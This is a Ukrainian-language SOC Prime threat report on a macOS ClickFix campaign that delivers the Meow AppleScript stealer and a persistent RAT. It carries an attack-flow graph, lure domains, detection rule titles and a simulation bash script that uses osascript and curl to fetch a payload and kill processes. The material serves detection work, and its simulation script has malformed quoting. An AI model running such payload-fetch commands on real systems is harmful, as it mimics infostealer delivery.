SOC Prime Bias: Критично

24 Jun 2026 15:40 UTC

macOS ClickFix наживки розгортають AppleScript-викрадач та стійкий RAT

Author Photo
SOC Prime Team linkedin icon Стежити
macOS ClickFix наживки розгортають AppleScript-викрадач та стійкий RAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Загрозливий об’єкт, що говорить російською мовою, використовує соціальну інженерію ClickFix для розгортання двоетапної інфекції шкідливого ПЗ для macOS. Атака починається з безфайлового ланцюжка виконання, запущеного через термінальні команди, та доставляє інфостилер на основі AppleScript під назвою Meow (DEBUG), а також троян для постійного дистанційного доступу. Шкідливе ПЗ спрямоване на криптовалютні гаманці, облікові дані браузера та дані сеансів повідомлень, а також виконує нав’язливу ін’єкцію коду в настільні додатки для гаманців.

Розслідування

Netskope Threat Labs виявив оновлену версію кампанії 31 травня 2026 року, яка свідчить про перехід від простого стилера до більш потужного RAT. Їхній аналіз показав складну безфайлову інфекцію, логіку геофенсінгу, призначену для уникнення російськомовних жертв, та спорадичне пере-підписування, яке використовується для обходу захисту macOS Gatekeeper. Дослідники також пов’язали кампанію з 25 короткотривалими доменами-приманками, що мали однакову контактну інформацію реєстратора.

Мітигація

Захисники повинні пріоритизувати блокування доменів-приманок та моніторинг підозрілих термінальних команд, які містять curl and osascript. Організації повинні застосувати жорсткіший контроль над доступом до терміналу та слідкувати за несанкціонованими змінами в пакетах додатків криптограманців. Детекція на хостах може також фокусуватись на списках plist для збереження com.apple.accountsd та /tmp/shub_ схеми підготовки.

Відповідь

Якщо цю активність виявлено, негайно ізолюйте уражений хост macOS, щоб зупинити подальше викрадення даних або можливе бічне переміщення. Всі встановлені настільні криптовалютні гаманці слід розглянути як скомпрометовані та перевстановити з надійних джерел. Дослідники повинні також провести судово-медичний огляд LaunchDaemons та LaunchAgents на предмет несанкціонованих записів, з особливою увагою до com.apple.accountsd.

"graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Ініціальний доступ та виконання attack_drive_by["<b>Дія</b> – <b idea='T1189'>Компрометація прапором</b><br/>Жертви заходять на шкідливі домени-приманки<br/>наприклад, filesapphirecanvas.sbs або<br/>filemintcastle.sbs, що маскуються під<br/>корисності для macOS або збереження на GitHub."] class attack_drive_by action attack_user_exec_copy["<b>Дія</b> – <b idea='T1204.004'>Користувацьке виконання: Шкідливе копіювання та вставка</b><br/>Соціальна інженерія жертв для копіювання<br/>команд з фейкових сайтів в<br/>Термінал macOS."] class attack_user_exec_copy action attack_obfuscation["<b>Дія</b> – <b idea='T1027.009'>Замасковані файли або інформація: Вбудовані навантаження</b><br/>Використовує стиснуті gzip та закодовані base64<br/>heredoc для запуску завантажувача першої стадії в пам'яті."] class attack_obfuscation action %% Логіка завантажувача та обмеження loader_stage1["<b>Процес</b> – <b idea='Stage 1 Loader'>Завантажувач в пам'яті</b><br/>Виконується через замаскований ланцюжок команд<br/>щоб уникнути сліду на диску."] class loader_stage1 tool guardrail_geofence["<b>Дія</b> – <b idea='T1480.002'>Виконання обмежень: Взаємне виключення</b><br/>Перевіряє розкладку клавіатури macOS щоб<br/>уникнути користувачів, що говорять російською, через<br/>логіку геофенсінгу."] class guardrail_geofence action loader_reflective["<b>Дія</b> – <b idea='T1620'>Рефлексивне завантаження коду</b><br/>Отримує AppleScript другого ступеня<br/>через curl та передає його прямо в<br/>пам'ять osascript."] class loader_reflective action %% Навантаження та крадіжка облікових даних malware_meow["<b>Шкідливе ПЗ</b> – <b idea='Meow Payload'>Навантаження Meow</b><br/>Навантаження в пам'яті активне<br/>після рефлексивного завантаження."] class malware_meow malware attack_gui_capture["<b>Дія</b> – <b idea='T1056.002'>Захоплення вводу: Захоплення вводу GUI</b><br/>Використовує підроблений діалог Налаштувань системи<br/>для збору паролів входу користувача."] class attack_gui_capture action attack_securityd["<b>Дія</b> – <b idea='T1555.002'>Облікові дані з сховищ паролів: Пам'ять Securityd</b><br/>Розблокує зв'язку macOS щоб витягнути<br/>ключі безпечного сховища, використовючи зібрані<br/>паролі."] class attack_securityd action %% Викрадення даних та ексфільтрація attack_browser_discovery["<b>Дія</b> – <b idea='T1217'>Відкриття інформації браузера</b><br/>Сканує дані браузера в межах<br/>Chrome, Safari та Firefox."] class attack_browser_discovery action attack_session_steal["<b>Дія</b> – <b idea='T1539'>Крадіжка сесійної куки для веб-сесії</b><br/>Викрадає сесійні файли cookie щоб<br/>підтримувати несанкціонований доступ."] class attack_session_steal exfiltration attack_crypto_theft["<b>Дія</b> – <b idea='T1657'>Фінансова крадіжка</b><br/>Спрямована на криптовалютні гаманці, в тому числі<br/>розширення MetaMask і додатки для настільних ПК<br/>на зразок Exodus і Ledger."] class attack_crypto_theft exfiltration %% Сталість та C2 persistence_launch["<b>Стійкість</b> – <b idea='T1543.001'>LaunchAgent або LaunchDaemon</b><br/>Створює стійкий механізм<br/>замаскований як com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Дія</b> – <b idea='T1568'>Командування та контроль</b><br/>Встановлює 60-секундний цикл маячення<br/>з динамічним дозволенням для виконання<br/>довільного коду."] class c2_beaconing tool %% Зв'язки attack_drive_by –>|призводить до| attack_user_exec_copy attack_user_exec_copy –>|запускає| attack_obfuscation attack_obfuscation –>|виконує| loader_stage1 loader_stage1 –>|виконує| guardrail_geofence guardrail_geofence –>|дозволяє| loader_reflective loader_reflective –>|завантажує| malware_meow malware_meow –>|виконує| attack_gui_capture attack_gui_capture –>|сприяти| attack_securityd attack_securityd –>|призводить до| attack_browser_discovery attack_browser_discovery –>|призводить до| attack_session_steal attack_browser_discovery –>|призводить до| attack_crypto_theft malware_meow –>|встановлює| persistence_launch malware_meow –>|спілкується з| c2_beaconing "

Хід атаки

Детекції

Підозріле командування та контроль через запити DNS на незвичайні TLD (через dns)

Команда SOC Prime
24 червня 2026

Можлива спроба виявлення паролів браузера MacOS (через командний рядок)

Команда SOC Prime
24 червня 2026

Можливе маніпулювання закодованими Base64 рядками [macOS] (через командний рядок)

Команда SOC Prime
24 червня 2026

Примусове підписання зміненого пакета додатків (через командний рядок)

Команда SOC Prime
24 червня 2026

Перевірка облікових даних macOS через Dscl Authonly (через командний рядок)

Команда SOC Prime
24 червня 2026

Спроба виконання підозрілої команди curl [macOS] (через командний рядок)

Команда SOC Prime
24 червня 2026

Архів був створений у тимчасовій папці MacOS (через file_event)

Команда SOC Prime
24 червня 2026

Виявлення безфайлового виконання macOS AppleScript Steller [створення процесу в Linux]

Правила SOC Prime AI
24 червня 2026

Виконання симуляції

Попередні вимоги: Телеметрія та перевірка базових показників повинна пройдене.

Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для запуску правила детектування. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і прагнути генерувати точну телеметрію, очікувану за логікою детекції. Абстрактні або нерелевантні приклади призведуть до неправильного діагнозу.

  • Опис атаки та команди: Супротивник отримав початковий доступ через шкідливий вебсайт. Вони виконують безфайловий AppleScript для macOS для обходу сканування, заснованого на файлах. Мета сценарію полягає у завантаженні вторинного навантаження шляхом підробки агентів користувача браузера Chrome для обходу базового мережевого огляду і тоді негайно завершити всі робочі програми криптовалюти, щоб запобігти користувачеві зберегти свої кошти. Атакуючий використовує osascript щоб викликати curl з конкретними прапорами і kill -9 для виконання цих дій.

  • Скрипт регресійного тестування:

    #!/bin/bash
    # Симуляція безфайлового macOS AppleScript Stealer
    
    echo "[+] Початок симуляції: безфайловий macOS Stealer"
    
    # Крок 1: Симулюйте отримання навантаження через osascript (запускає selection_curl_ua)
    echo "[+] Виконання стадії 1: Підроблений Curl через osascript..."
    osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null &
    
    # Почекайте трохи для створення процесу
    sleep 2
    
    # Крок 2: Симуляція завершення процесу (запускає selection_kill)
    # Ми використовуємо фіктивний процес для завершення, щоб не порушити систему
    echo "[+] Виконання стадії 2: Завершення процесу через osascript..."
    sleep 1
    osascript -e 'do shell script "kill -9 $$"' # Увага: Це вб'є поточний підключ, імітуючи наміри
    
    # Увага: Для чистішої симуляції, яка імітує реальну цільову:
    # sleep 1 && sleep 1 & 
    # osascript -e 'do shell script "kill -9 $!"'
    
    echo "[+] Симуляційні команди надіслані."
  • Команди очистки:

    # Скрипт не створив файлів, але ми гарантуємо, що не залишилося фонових процесів.
    killall osascript 2>/dev/null
    echo "[+] Очищення завершено."